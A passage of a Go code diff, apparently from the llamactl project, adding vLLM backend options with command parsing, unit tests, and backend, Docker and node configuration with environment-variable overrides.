+	LimitMmPerPrompt          string `json:"limit_mm_per_prompt,omitempty"`
+	EnableSleepMode           bool   `json:"enable_sleep_mode,omitempty"`
+	EnableChunkingRequest     bool   `json:"enable_chunking_request,omitempty"`
+	CompilationConfig         string `json:"compilation_config,omitempty"`
+	DisableSlidingWindowMask  bool   `json:"disable_sliding_window_mask,omitempty"`
+	EnableTRTLLMEngineLatency bool   `json:"enable_trtllm_engine_latency,omitempty"`
+	OverridePoolingConfig     string `json:"override_pooling_config,omitempty"`
+	OverrideNeuronConfig      string `json:"override_neuron_config,omitempty"`
+	OverrideKVCacheALIGNSize  int    `json:"override_kv_cache_align_size,omitempty"`
+}
+
+func (o *VllmServerOptions) GetPort() int {
+	return o.Port
+}
+
+func (o *VllmServerOptions) SetPort(port int) {
+	o.Port = port
+}
+
+func (o *VllmServerOptions) GetHost() string {
+	return o.Host
+}
+
+func (o *VllmServerOptions) Validate() error {
+	if o == nil {
+		return validation.ValidationError(fmt.Errorf("vLLM server options cannot be nil for vLLM backend"))
+	}
+
+	// Use reflection to check all string fields for injection patterns
+	if err := validation.ValidateStructStrings(o, ""); err != nil {
+		return err
+	}
+
+	// Basic network validation for port
+	if o.Port < 0 || o.Port > 65535 {
+		return validation.ValidationError(fmt.Errorf("invalid port range: %d", o.Port))
+	}
+
+	return nil
+}
+
+// BuildCommandArgs converts VllmServerOptions to command line arguments
+// For vLLM native, model is a positional argument after "serve"
+func (o *VllmServerOptions) BuildCommandArgs() []string {
+	var args []string
+
+	// Add model as positional argument if specified (for native execution)
+	if o.Model != "" {
+		args = append(args, o.Model)
+	}
+
+	// Create a copy without Model field to avoid --model flag
+	optionsCopy := *o
+	optionsCopy.Model = ""
+
+	// Use package-level multipleFlags variable
+
+	flagArgs := BuildCommandArgs(&optionsCopy, vllmMultiValuedFlags)
+	args = append(args, flagArgs...)
+
+	return args
+}
+
+func (o *VllmServerOptions) BuildDockerArgs() []string {
+	var args []string
+
+	// Use package-level multipleFlags variable
+	flagArgs := BuildCommandArgs(o, vllmMultiValuedFlags)
+	args = append(args, flagArgs...)
+
+	return args
+}
+
+// ParseCommand parses a vLLM serve command string into VllmServerOptions
+// Supports multiple formats:
+// 1. Full command: "vllm serve --model MODEL_NAME --other-args"
+// 2. Full path: "/usr/local/bin/vllm serve --model MODEL_NAME"
+// 3. Serve only: "serve --model MODEL_NAME --other-args"
+// 4. Args only: "--model MODEL_NAME --other-args"
+// 5. Multiline commands with backslashes
+func (o *VllmServerOptions) ParseCommand(command string) (any, error) {
+	executableNames := []string{"vllm"}
+	subcommandNames := []string{"serve"}
+
+	var vllmOptions VllmServerOptions
+	if err := parseCommand(command, executableNames, subcommandNames, vllmMultiValuedFlags, &vllmOptions); err != nil {
+		return nil, err
+	}
+
+	return &vllmOptions, nil
+}

pkg/backends/vllm_test.go

@@ -0,0 +1,323 @@
+package backends_test
+
+import (
+	"llamactl/pkg/backends"
+	"llamactl/pkg/testutil"
+	"testing"
+)
+
+func TestParseVllmCommand(t *testing.T) {
+	tests := []struct {
+		name      string
+		command   string
+		expectErr bool
+		validate  func(*testing.T, *backends.VllmServerOptions)
+	}{
+		{
+			name:      "basic vllm serve command",
+			command:   "vllm serve microsoft/DialoGPT-medium",
+			expectErr: false,
+			validate: func(t *testing.T, opts *backends.VllmServerOptions) {
+				if opts.Model != "microsoft/DialoGPT-medium" {
+					t.Errorf("expected model 'microsoft/DialoGPT-medium', got '%s'", opts.Model)
+				}
+			},
+		},
+		{
+			name:      "serve only command",
+			command:   "serve microsoft/DialoGPT-medium",
+			expectErr: false,
+			validate: func(t *testing.T, opts *backends.VllmServerOptions) {
+				if opts.Model != "microsoft/DialoGPT-medium" {
+					t.Errorf("expected model 'microsoft/DialoGPT-medium', got '%s'", opts.Model)
+				}
+			},
+		},
+		{
+			name:      "positional model with flags",
+			command:   "vllm serve microsoft/DialoGPT-medium --tensor-parallel-size 2",
+			expectErr: false,
+			validate: func(t *testing.T, opts *backends.VllmServerOptions) {
+				if opts.Model != "microsoft/DialoGPT-medium" {
+					t.Errorf("expected model 'microsoft/DialoGPT-medium', got '%s'", opts.Model)
+				}
+				if opts.TensorParallelSize != 2 {
+					t.Errorf("expected tensor_parallel_size 2, got %d", opts.TensorParallelSize)
+				}
+			},
+		},
+		{
+			name:      "model with path",
+			command:   "vllm serve /path/to/model --gpu-memory-utilization 0.8",
+			expectErr: false,
+			validate: func(t *testing.T, opts *backends.VllmServerOptions) {
+				if opts.Model != "/path/to/model" {
+					t.Errorf("expected model '/path/to/model', got '%s'", opts.Model)
+				}
+				if opts.GPUMemoryUtilization != 0.8 {
+					t.Errorf("expected gpu_memory_utilization 0.8, got %f", opts.GPUMemoryUtilization)
+				}
+			},
+		},
+		{
+			name:      "multiple value types",
+			command:   "vllm serve test-model --tensor-parallel-size 4 --gpu-memory-utilization 0.8 --enable-log-outputs",
+			expectErr: false,
+			validate: func(t *testing.T, opts *backends.VllmServerOptions) {
+				if opts.Model != "test-model" {
+					t.Errorf("expected model 'test-model', got '%s'", opts.Model)
+				}
+				if opts.TensorParallelSize != 4 {
+					t.Errorf("expected tensor_parallel_size 4, got %d", opts.TensorParallelSize)
+				}
+				if opts.GPUMemoryUtilization != 0.8 {
+					t.Errorf("expected gpu_memory_utilization 0.8, got %f", opts.GPUMemoryUtilization)
+				}
+				if !opts.EnableLogOutputs {
+					t.Errorf("expected enable_log_outputs true, got %v", opts.EnableLogOutputs)
+				}
+			},
+		},
+		{
+			name:      "empty command",
+			command:   "",
+			expectErr: true,
+		},
+		{
+			name:      "unterminated quote",
+			command:   `vllm serve "unterminated`,
+			expectErr: true,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			var opts backends.VllmServerOptions
+			resultAny, err := opts.ParseCommand(tt.command)
+			result, _ := resultAny.(*backends.VllmServerOptions)
+
+			if tt.expectErr {
+				if err == nil {
+					t.Errorf("expected error but got none")
+				}
+				return
+			}
+
+			if err != nil {
+				t.Errorf("unexpected error: %v", err)
+				return
+			}
+
+			if result == nil {
+				t.Errorf("expected result but got nil")
+				return
+			}
+
+			if tt.validate != nil {
+				tt.validate(t, result)
+			}
+		})
+	}
+}
+
+func TestParseVllmCommandArrays(t *testing.T) {
+	command := "vllm serve test-model --middleware auth.py --middleware=cors.py --api-key key1 --api-key key2"
+
+	var opts backends.VllmServerOptions
+	resultAny, err := opts.ParseCommand(command)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	result, ok := resultAny.(*backends.VllmServerOptions)
+	if !ok {
+		t.Fatalf("expected *VllmServerOptions, got %T", resultAny)
+	}
+
+	expectedMiddleware := []string{"auth.py", "cors.py"}
+	if len(result.Middleware) != len(expectedMiddleware) {
+		t.Errorf("expected %d middleware items, got %d", len(expectedMiddleware), len(result.Middleware))
+	}
+	for i, v := range expectedMiddleware {
+		if i >= len(result.Middleware) || result.Middleware[i] != v {
+			t.Errorf("expected middleware[%d]=%s got %s", i, v, result.Middleware[i])
+		}
+	}
+
+	expectedAPIKeys := []string{"key1", "key2"}
+	if len(result.APIKey) != len(expectedAPIKeys) {
+		t.Errorf("expected %d api keys, got %d", len(expectedAPIKeys), len(result.APIKey))
+	}
+	for i, v := range expectedAPIKeys {
+		if i >= len(result.APIKey) || result.APIKey[i] != v {
+			t.Errorf("expected api_key[%d]=%s got %s", i, v, result.APIKey[i])
+		}
+	}
+}
+
+func TestVllmBuildCommandArgs_BooleanFields(t *testing.T) {
+	tests := []struct {
+		name     string
+		options  backends.VllmServerOptions
+		expected []string
+		excluded []string
+	}{
+		{
+			name: "enable_log_outputs true",
+			options: backends.VllmServerOptions{
+				EnableLogOutputs: true,
+			},
+			expected: []string{"--enable-log-outputs"},
+		},
+		{
+			name: "enable_log_outputs false",
+			options: backends.VllmServerOptions{
+				EnableLogOutputs: false,
+			},
+			excluded: []string{"--enable-log-outputs"},
+		},
+		{
+			name: "multiple booleans",
+			options: backends.VllmServerOptions{
+				EnableLogOutputs:    true,
+				TrustRemoteCode:     true,
+				EnablePrefixCaching: true,
+				DisableLogStats:     false,
+			},
+			expected: []string{"--enable-log-outputs", "--trust-remote-code", "--enable-prefix-caching"},
+			excluded: []string{"--disable-log-stats"},
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			args := tt.options.BuildCommandArgs()
+
+			for _, expectedArg := range tt.expected {
+				if !testutil.Contains(args, expectedArg) {
+					t.Errorf("Expected argument %q not found in %v", expectedArg, args)
+				}
+			}
+
+			for _, excludedArg := range tt.excluded {
+				if testutil.Contains(args, excludedArg) {
+					t.Errorf("Excluded argument %q found in %v", excludedArg, args)
+				}
+			}
+		})
+	}
+}
+
+func TestVllmBuildCommandArgs_ZeroValues(t *testing.T) {
+	options := backends.VllmServerOptions{
+		Port:                 0,     // Should be excluded
+		TensorParallelSize:   0,     // Should be excluded
+		GPUMemoryUtilization: 0,     // Should be excluded
+		Model:                "",    // Should be excluded (positional arg)
+		Host:                 "",    // Should be excluded
+		EnableLogOutputs:     false, // Should be excluded
+	}
+
+	args := options.BuildCommandArgs()
+
+	// Zero values should not appear in arguments
+	excludedArgs := []string{
+		"--port", "0",
+		"--tensor-parallel-size", "0",
+		"--gpu-memory-utilization", "0",
+		"--host", "",
+		"--enable-log-outputs",
+	}
+
+	for _, excludedArg := range excludedArgs {
+		if testutil.Contains(args, excludedArg) {
+			t.Errorf("Zero value argument %q should not be present in %v", excludedArg, args)
+		}
+	}
+
+	// Model should not be present as positional arg when empty
+	if len(args) > 0 && args[0] == "" {
+		t.Errorf("Empty model should not be present as positional argument")
+	}
+}
+
+func TestVllmBuildCommandArgs_ArrayFields(t *testing.T) {
+	options := backends.VllmServerOptions{
+		AllowedOrigins: []string{"http://localhost:3000", "https://example.com"},
+		AllowedMethods: []string{"GET", "POST"},
+		Middleware:     []string{"middleware1", "middleware2", "middleware3"},
+	}
+
+	args := options.BuildCommandArgs()
+
+	// Check that each array value appears with its flag
+	expectedOccurrences := map[string][]string{
+		"--allowed-origins": {"http://localhost:3000", "https://example.com"},
+		"--allowed-methods": {"GET", "POST"},
+		"--middleware":      {"middleware1", "middleware2", "middleware3"},
+	}
+
+	for flag, values := range expectedOccurrences {
+		for _, value := range values {
+			if !testutil.ContainsFlagWithValue(args, flag, value) {
+				t.Errorf("Expected %s %s, not found in %v", flag, value, args)
+			}
+		}
+	}
+}
+
+func TestVllmBuildCommandArgs_EmptyArrays(t *testing.T) {
+	options := backends.VllmServerOptions{
+		AllowedOrigins: []string{}, // Empty array should not generate args
+		Middleware:     []string{}, // Empty array should not generate args
+	}
+
+	args := options.BuildCommandArgs()
+
+	excludedArgs := []string{"--allowed-origins", "--middleware"}
+	for _, excludedArg := range excludedArgs {
+		if testutil.Contains(args, excludedArg) {
+			t.Errorf("Empty array should not generate argument %q in %v", excludedArg, args)
+		}
+	}
+}
+
+func TestVllmBuildCommandArgs_PositionalModel(t *testing.T) {
+	options := backends.VllmServerOptions{
+		Model:                "microsoft/DialoGPT-medium",
+		Port:                 8080,
+		Host:                 "localhost",
+		TensorParallelSize:   2,
+		GPUMemoryUtilization: 0.8,
+		EnableLogOutputs:     true,
+	}
+
+	args := options.BuildCommandArgs()
+
+	// Check that model is the first positional argument (not a --model flag)
+	if len(args) == 0 || args[0] != "microsoft/DialoGPT-medium" {
+		t.Errorf("Expected model 'microsoft/DialoGPT-medium' as first positional argument, got args: %v", args)
+	}
+
+	// Check that --model flag is NOT present (since model should be positional)
+	if testutil.Contains(args, "--model") {
+		t.Errorf("Found --model flag, but model should be positional argument in args: %v", args)
+	}
+
+	// Check other flags
+	if !testutil.ContainsFlagWithValue(args, "--tensor-parallel-size", "2") {
+		t.Errorf("Expected --tensor-parallel-size 2 not found in %v", args)
+	}
+	if !testutil.ContainsFlagWithValue(args, "--gpu-memory-utilization", "0.8") {
+		t.Errorf("Expected --gpu-memory-utilization 0.8 not found in %v", args)
+	}
+	if !testutil.Contains(args, "--enable-log-outputs") {
+		t.Errorf("Expected --enable-log-outputs not found in %v", args)
+	}
+	if !testutil.ContainsFlagWithValue(args, "--host", "localhost") {
+		t.Errorf("Expected --host localhost not found in %v", args)
+	}
+	if !testutil.ContainsFlagWithValue(args, "--port", "8080") {
+		t.Errorf("Expected --port 8080 not found in %v", args)
+	}
+}

pkg/config/config.go

@@ -1,6 +1,7 @@
 package config
 
 import (
+	"log"
 	"os"
 	"path/filepath"
 	"runtime"
@@ -10,14 +11,41 @@ import (
 	"gopkg.in/yaml.v3"
 )
 
+// BackendSettings contains structured backend configuration
+type BackendSettings struct {
+	Command         string            `yaml:"command"`
+	Args            []string          `yaml:"args"`
+	Environment     map[string]string `yaml:"environment,omitempty"`
+	Docker          *DockerSettings   `yaml:"docker,omitempty"`
+	ResponseHeaders map[string]string `yaml:"response_headers,omitempty"`
+}
+
+// DockerSettings contains Docker-specific configuration
+type DockerSettings struct {
+	Enabled     bool              `yaml:"enabled"`
+	Image       string            `yaml:"image"`
+	Args        []string          `yaml:"args"`
+	Environment map[string]string `yaml:"environment,omitempty"`
+}
+
+// BackendConfig contains backend executable configurations
+type BackendConfig struct {
+	LlamaCpp BackendSettings `yaml:"llama-cpp"`
+	VLLM     BackendSettings `yaml:"vllm"`
+	MLX      BackendSettings `yaml:"mlx"`
+}
+
 // AppConfig represents the configuration for llamactl
 type AppConfig struct {
-	Server     ServerConfig    `yaml:"server"`
-	Instances  InstancesConfig `yaml:"instances"`
-	Auth       AuthConfig      `yaml:"auth"`
-	Version    string          `yaml:"-"`
-	CommitHash string          `yaml:"-"`
-	BuildTime  string          `yaml:"-"`
+	Server     ServerConfig          `yaml:"server"`
+	Backends   BackendConfig         `yaml:"backends"`
+	Instances  InstancesConfig       `yaml:"instances"`
+	Auth       AuthConfig            `yaml:"auth"`
+	LocalNode  string                `yaml:"local_node,omitempty"`
+	Nodes      map[string]NodeConfig `yaml:"nodes,omitempty"`
+	Version    string                `yaml:"-"`
+	CommitHash string                `yaml:"-"`
+	BuildTime  string                `yaml:"-"`
 }
 
 // ServerConfig contains HTTP server configuration
@@ -31,8 +59,14 @@ type ServerConfig struct {
 	// Allowed origins for CORS (e.g., "http://localhost:3000")
 	AllowedOrigins []string `yaml:"allowed_origins"`
 
+	// Allowed headers for CORS (e.g., "Accept", "Authorization", "Content-Type", "X-CSRF-Token")
+	AllowedHeaders []string `yaml:"allowed_headers"`
+
 	// Enable Swagger UI for API documentation
 	EnableSwagger bool `yaml:"enable_swagger"`
+
+	// Response headers to send with responses
+	ResponseHeaders map[string]string `yaml:"response_headers,omitempty"`
 }
 
 // InstancesConfig contains instance management configuration
@@ -61,9 +95,6 @@ type InstancesConfig struct {
 	// Enable LRU eviction for instance logs
 	EnableLRUEviction bool `yaml:"enable_lru_eviction"`
 
-	// Path to llama-server executable
-	LlamaExecutable string `yaml:"llama_executable"`
-
 	// Default auto-restart setting for new instances
 	DefaultAutoRestart bool `yaml:"default_auto_restart"`
 
@@ -99,6 +130,11 @@ type AuthConfig struct {
 	ManagementKeys []string `yaml:"management_keys"`
 }
 
+type NodeConfig struct {
+	Address string `yaml:"address"`
+	APIKey  string `yaml:"api_key,omitempty"`
+}
+
 // LoadConfig loads configuration with the following precedence:
 // 1. Hardcoded defaults
 // 2. Config file
@@ -110,18 +146,55 @@ func LoadConfig(configPath string) (AppConfig, error) {
 			Host:           "0.0.0.0",
 			Port:           8080,
 			AllowedOrigins: []string{"*"}, // Default to allow all origins
+			AllowedHeaders: []string{"*"}, // Default to allow all headers
 			EnableSwagger:  false,
 		},
+		LocalNode: "main",
+		Nodes:     map[string]NodeConfig{},
+		Backends: BackendConfig{
+			LlamaCpp: BackendSettings{
+				Command:     "llama-server",
+				Args:        []string{},
+				Environment: map[string]string{},
+				Docker: &DockerSettings{
+					Enabled: false,
+					Image:   "ghcr.io/ggml-org/llama.cpp:server",
+					Args: []string{
+						"run", "--rm", "--network", "host", "--gpus", "all",
+						"-v", filepath.Join(getDefaultDataDirectory(), "llama.cpp") + ":/root/.cache/llama.cpp"},
+					Environment: map[string]string{},
+				},
+			},
+			VLLM: BackendSettings{
+				Command: "vllm",
+				Args:    []string{"serve"},
+				Docker: &DockerSettings{
+					Enabled: false,
+					Image:   "vllm/vllm-openai:latest",
+					Args: []string{
+						"run", "--rm", "--network", "host", "--gpus", "all", "--shm-size", "1g",
+						"-v", filepath.Join(getDefaultDataDirectory(), "huggingface") + ":/root/.cache/huggingface",
+					},
+					Environment: map[string]string{},
+				},
+			},
+			MLX: BackendSettings{
+				Command: "mlx_lm.server",
+				Args:    []string{},
+				// No Docker section for MLX - not supported
+			},
+		},
 		Instances: InstancesConfig{
-			PortRange:            [2]int{8000, 9000},
-			DataDir:              getDefaultDataDirectory(),
-			InstancesDir:         filepath.Join(getDefaultDataDirectory(), "instances"),
-			LogsDir:              filepath.Join(getDefaultDataDirectory(), "logs"),
+			PortRange: [2]int{8000, 9000},
+			DataDir:   getDefaultDataDirectory(),
+			// NOTE: empty strings are set as placeholder values since InstancesDir and LogsDir
+			// should be relative path to DataDir if not explicitly set.
+			InstancesDir:         "",
+			LogsDir:              "",
 			AutoCreateDirs:       true,
 			MaxInstances:         -1, // -1 means unlimited
 			MaxRunningInstances:  -1, // -1 means unlimited
 			EnableLRUEviction:    true,
-			LlamaExecutable:      "llama-server",
 			DefaultAutoRestart:   true,
 			DefaultMaxRestarts:   3,
 			DefaultRestartDelay:  5,
@@ -142,9 +215,22 @@ func LoadConfig(configPath string) (AppConfig, error) {
 		return cfg, err
 	}
 
+	// If local node is not defined in nodes, add it with default config
+	if _, ok := cfg.Nodes[cfg.LocalNode]; !ok {
+		cfg.Nodes[cfg.LocalNode] = NodeConfig{}
+	}
+
 	// 3. Override with environment variables
 	loadEnvVars(&cfg)
 
+	// If InstancesDir or LogsDir is not set, set it to relative path of DataDir
+	if cfg.Instances.InstancesDir == "" {
+		cfg.Instances.InstancesDir = filepath.Join(cfg.Instances.DataDir, "instances")
+	}
+	if cfg.Instances.LogsDir == "" {
+		cfg.Instances.LogsDir = filepath.Join(cfg.Instances.DataDir, "logs")
+	}
+
 	return cfg, nil
 }
 
@@ -165,6 +251,7 @@ func loadConfigFile(cfg *AppConfig, configPath string) error {
 			if err := yaml.Unmarshal(data, cfg); err != nil {
 				return err
 			}
+			log.Printf("Read config at %s", path)
 			return nil
 		}
 	}
@@ -229,9 +316,126 @@ func loadEnvVars(cfg *AppConfig) {
 			cfg.Instances.EnableLRUEviction = b
 		}
 	}
-	if llamaExec := os.Getenv("LLAMACTL_LLAMA_EXECUTABLE"); llamaExec != "" {
-		cfg.Instances.LlamaExecutable = llamaExec
+	// Backend config
+	// LlamaCpp backend
+	if llamaCmd := os.Getenv("LLAMACTL_LLAMACPP_COMMAND"); llamaCmd != "" {
+		cfg.Backends.LlamaCpp.Command = llamaCmd
 	}
+	if llamaArgs := os.Getenv("LLAMACTL_LLAMACPP_ARGS"); llamaArgs != "" {
+		cfg.Backends.LlamaCpp.Args = strings.Split(llamaArgs, " ")
+	}
+	if llamaEnv := os.Getenv("LLAMACTL_LLAMACPP_ENV"); llamaEnv != "" {
+		if cfg.Backends.LlamaCpp.Environment == nil {
+			cfg.Backends.LlamaCpp.Environment = make(map[string]string)
+		}
+		parseEnvVars(llamaEnv, cfg.Backends.LlamaCpp.Environment)
+	}
+	if llamaDockerEnabled := os.Getenv("LLAMACTL_LLAMACPP_DOCKER_ENABLED"); llamaDockerEnabled != "" {
+		if b, err := strconv.ParseBool(llamaDockerEnabled); err == nil {
+			if cfg.Backends.LlamaCpp.Docker == nil {
+				cfg.Backends.LlamaCpp.Docker = &DockerSettings{}
+			}
+			cfg.Backends.LlamaCpp.Docker.Enabled = b
+		}
+	}
+	if llamaDockerImage := os.Getenv("LLAMACTL_LLAMACPP_DOCKER_IMAGE"); llamaDockerImage != "" {
+		if cfg.Backends.LlamaCpp.Docker == nil {
+			cfg.Backends.LlamaCpp.Docker = &DockerSettings{}
+		}
+		cfg.Backends.LlamaCpp.Docker.Image = llamaDockerImage
+	}
+	if llamaDockerArgs := os.Getenv("LLAMACTL_LLAMACPP_DOCKER_ARGS"); llamaDockerArgs != "" {
+		if cfg.Backends.LlamaCpp.Docker == nil {
+			cfg.Backends.LlamaCpp.Docker = &DockerSettings{}
+		}
+		cfg.Backends.LlamaCpp.Docker.Args = strings.Split(llamaDockerArgs, " ")
+	}
+	if llamaDockerEnv := os.Getenv("LLAMACTL_LLAMACPP_DOCKER_ENV"); llamaDockerEnv != "" {
+		if cfg.Backends.LlamaCpp.Docker == nil {
+			cfg.Backends.LlamaCpp.Docker = &DockerSettings{}
+		}
+		if cfg.Backends.LlamaCpp.Docker.Environment == nil {
+			cfg.Backends.LlamaCpp.Docker.Environment = make(map[string]string)
+		}
+		parseEnvVars(llamaDockerEnv, cfg.Backends.LlamaCpp.Docker.Environment)
+	}
+	if llamaEnv := os.Getenv("LLAMACTL_LLAMACPP_RESPONSE_HEADERS"); llamaEnv != "" {
+		if cfg.Backends.LlamaCpp.ResponseHeaders == nil {
+			cfg.Backends.LlamaCpp.ResponseHeaders = make(map[string]string)
+		}
+		parseHeaders(llamaEnv, cfg.Backends.LlamaCpp.ResponseHeaders)
+	}
+
+	// vLLM backend
+	if vllmCmd := os.Getenv("LLAMACTL_VLLM_COMMAND"); vllmCmd != "" {
+		cfg.Backends.VLLM.Command = vllmCmd
+	}
+	if vllmArgs := os.Getenv("LLAMACTL_VLLM_ARGS"); vllmArgs != "" {
+		cfg.Backends.VLLM.Args = strings.Split(vllmArgs, " ")
+	}
+	if vllmEnv := os.Getenv("LLAMACTL_VLLM_ENV"); vllmEnv != "" {
+		if cfg.Backends.VLLM.Environment == nil {
+			cfg.Backends.VLLM.Environment = make(map[string]string)
+		}
+		parseEnvVars(vllmEnv, cfg.Backends.VLLM.Environment)
+	}
+	if vllmDockerEnabled := os.Getenv("LLAMACTL_VLLM_DOCKER_ENABLED"); vllmDockerEnabled != "" {
+		if b, err := strconv.ParseBool(vllmDockerEnabled); err == nil {
+			if cfg.Backends.VLLM.Docker == nil {
+				cfg.Backends.VLLM.Docker = &DockerSettings{}
+			}
+			cfg.Backends.VLLM.Docker.Enabled = b
+		}
+	}
+	if vllmDockerImage := os.Getenv("LLAMACTL_VLLM_DOCKER_IMAGE"); vllmDockerImage != "" {
+		if cfg.Backends.VLLM.Docker == nil {
+			cfg.Backends.VLLM.Docker = &DockerSettings{}
+		}
+		cfg.Backends.VLLM.Docker.Image = vllmDockerImage
+	}
+	if vllmDockerArgs := os.Getenv("LLAMACTL_VLLM_DOCKER_ARGS"); vllmDockerArgs != "" {
+		if cfg.Backends.VLLM.Docker == nil {
+			cfg.Backends.VLLM.Docker = &DockerSettings{}
+		}
+		cfg.Backends.VLLM.Docker.Args = strings.Split(vllmDockerArgs, " ")
+	}
+	if vllmDockerEnv := os.Getenv("LLAMACTL_VLLM_DOCKER_ENV"); vllmDockerEnv != "" {
+		if cfg.Backends.VLLM.Docker == nil {
+			cfg.Backends.VLLM.Docker = &DockerSettings{}
+		}
+		if cfg.Backends.VLLM.Docker.Environment == nil {
+			cfg.Backends.VLLM.Docker.Environment = make(map[string]string)
+		}
+		parseEnvVars(vllmDockerEnv, cfg.Backends.VLLM.Docker.Environment)
+	}
+	if llamaEnv := os.Getenv("LLAMACTL_VLLM_RESPONSE_HEADERS"); llamaEnv != "" {
+		if cfg.Backends.VLLM.ResponseHeaders == nil {
+			cfg.Backends.VLLM.ResponseHeaders = make(map[string]string)
+		}
+		parseHeaders(llamaEnv, cfg.Backends.VLLM.ResponseHeaders)
+	}
+
+	// MLX backend
+	if mlxCmd := os.Getenv("LLAMACTL_MLX_COMMAND"); mlxCmd != "" {
+		cfg.Backends.MLX.Command = mlxCmd
+	}
+	if mlxArgs := os.Getenv("LLAMACTL_MLX_ARGS"); mlxArgs != "" {
+		cfg.Backends.MLX.Args = strings.Split(mlxArgs, " ")
+	}
+	if mlxEnv := os.Getenv("LLAMACTL_MLX_ENV"); mlxEnv != "" {
+		if cfg.Backends.MLX.Environment == nil {
+			cfg.Backends.MLX.Environment = make(map[string]string)
+		}
+		parseEnvVars(mlxEnv, cfg.Backends.MLX.Environment)
+	}
+	if llamaEnv := os.Getenv("LLAMACTL_MLX_RESPONSE_HEADERS"); llamaEnv != "" {
+		if cfg.Backends.MLX.ResponseHeaders == nil {
+			cfg.Backends.MLX.ResponseHeaders = make(map[string]string)
+		}
+		parseHeaders(llamaEnv, cfg.Backends.MLX.ResponseHeaders)
+	}
+
+	// Instance defaults
 	if autoRestart := os.Getenv("LLAMACTL_DEFAULT_AUTO_RESTART"); autoRestart != "" {
 		if b, err := strconv.ParseBool(autoRestart); err == nil {
 			cfg.Instances.DefaultAutoRestart = b
@@ -279,6 +483,11 @@ func loadEnvVars(cfg *AppConfig) {
 	if managementKeys := os.Getenv("LLAMACTL_MANAGEMENT_KEYS"); managementKeys != "" {
 		cfg.Auth.ManagementKeys = strings.Split(managementKeys, ",")
 	}
+
+	// Local node config
+	if localNode := os.Getenv("LLAMACTL_LOCAL_NODE"); localNode != "" {
+		cfg.LocalNode = localNode
+	}
 }
 
 // ParsePortRange parses port range from string formats like "8000-9000" or "8000,9000"
@@ -304,6 +513,32 @@ func ParsePortRange(s string) [2]int {
 	return [2]int{0, 0} // Invalid format
 }
 
+// parseEnvVars parses environment variables in format "KEY1=value1,KEY2=value2"
+// and populates the provided environment map
+func parseEnvVars(envString string, envMap map[string]string) {
+	if envString == "" {
+		return
+	}
+	for _, envPair := range strings.Split(envString, ",") {
+		if parts := strings.SplitN(strings.TrimSpace(envPair), "=", 2); len(parts) == 2 {
+			envMap[parts[0]] = parts[1]
+		}
+	}
+}
+
+// parseHeaders parses HTTP headers in format "KEY1=value1;KEY2=value2"
+// and populates the provided environment map
+func parseHeaders(envString string, envMap map[string]string) {
+	if envString == "" {
+		return
+	}
+	for _, envPair := range strings.Split(envString, ";") {
+		if parts := strings.SplitN(strings.TrimSpace(envPair), "=", 2); len(parts) == 2 {
+			envMap[parts[0]] = parts[1]
+		}
+	}
+}
+
 // getDefaultDataDirectory returns platform-specific default data directory
 func getDefaultDataDirectory() string {
 	switch runtime.GOOS {
@@ -336,6 +571,10 @@ func getDefaultDataDirectory() string {
 // getDefaultConfigLocations returns platform-specific config file locations
 func getDefaultConfigLocations() []string {
 	var locations []string
+	// Use ./llamactl.yaml and ./config.yaml as the default config file
+	locations = append(locations, "llamactl.yaml")
+	locations = append(locations, "config.yaml")
+
 	homeDir, _ := os.UserHomeDir()
 
 	switch runtime.GOOS {

pkg/config/config_test.go

@@ -7,6 +7,20 @@ import (
 	"testing"
 )
 
+// GetBackendSettings resolves backend settings
+func getBackendSettings(bc *config.BackendConfig, backendType string) config.BackendSettings {
+	switch backendType {
+	case "llama-cpp":
+		return bc.LlamaCpp
+	case "vllm":
+		return bc.VLLM
+	case "mlx":
+		return bc.MLX
+	default:
+		return config.BackendSettings{}
+	}
+}
+
 func TestLoadConfig_Defaults(t *testing.T) {
 	// Test loading config when no file exists and no env vars set
 	cfg, err := config.LoadConfig("nonexistent-file.yaml")
@@ -42,9 +56,6 @@ func TestLoadConfig_Defaults(t *testing.T) {
 	if cfg.Instances.MaxInstances != -1 {
 		t.Errorf("Expected default max instances -1, got %d", cfg.Instances.MaxInstances)
 	}
-	if cfg.Instances.LlamaExecutable != "llama-server" {
-		t.Errorf("Expected default executable 'llama-server', got %q", cfg.Instances.LlamaExecutable)
-	}
 	if !cfg.Instances.DefaultAutoRestart {
 		t.Error("Expected default auto restart to be true")
 	}
@@ -101,9 +112,6 @@ instances:
 	if cfg.Instances.MaxInstances != 5 {
 		t.Errorf("Expected max instances 5, got %d", cfg.Instances.MaxInstances)
 	}
-	if cfg.Instances.LlamaExecutable != "/usr/bin/llama-server" {
-		t.Errorf("Expected executable '/usr/bin/llama-server', got %q", cfg.Instances.LlamaExecutable)
-	}
 	if cfg.Instances.DefaultAutoRestart {
 		t.Error("Expected auto restart to be false")
 	}
@@ -123,7 +131,6 @@ func TestLoadConfig_EnvironmentOverrides(t *testing.T) {
 		"LLAMACTL_INSTANCE_PORT_RANGE":   "5000-6000",
 		"LLAMACTL_LOGS_DIR":              "/env/logs",
 		"LLAMACTL_MAX_INSTANCES":         "20",
-		"LLAMACTL_LLAMA_EXECUTABLE":      "/env/llama-server",
 		"LLAMACTL_DEFAULT_AUTO_RESTART":  "false",
 		"LLAMACTL_DEFAULT_MAX_RESTARTS":  "7",
 		"LLAMACTL_DEFAULT_RESTART_DELAY": "15",
@@ -156,8 +163,8 @@ func TestLoadConfig_EnvironmentOverrides(t *testing.T) {
 	if cfg.Instances.MaxInstances != 20 {
 		t.Errorf("Expected max instances 20, got %d", cfg.Instances.MaxInstances)
 	}
-	if cfg.Instances.LlamaExecutable != "/env/llama-server" {
-		t.Errorf("Expected executable '/env/llama-server', got %q", cfg.Instances.LlamaExecutable)
+	if cfg.Backends.LlamaCpp.Command != "llama-server" {
+		t.Errorf("Expected default llama command 'llama-server', got %q", cfg.Backends.LlamaCpp.Command)
 	}
 	if cfg.Instances.DefaultAutoRestart {
 		t.Error("Expected auto restart to be false")
@@ -212,29 +219,6 @@ instances:
 	}
 }
 
-func TestLoadConfig_InvalidYAML(t *testing.T) {
-	// Create a temporary config file with invalid YAML
-	tempDir := t.TempDir()
-	configFile := filepath.Join(tempDir, "invalid-config.yaml")
-
-	invalidContent := `
-server:
-  host: "localhost"
-  port: not-a-number
-instances:
-  [invalid yaml structure
-`
-
-	err := os.WriteFile(configFile, []byte(invalidContent), 0644)
-	if err != nil {
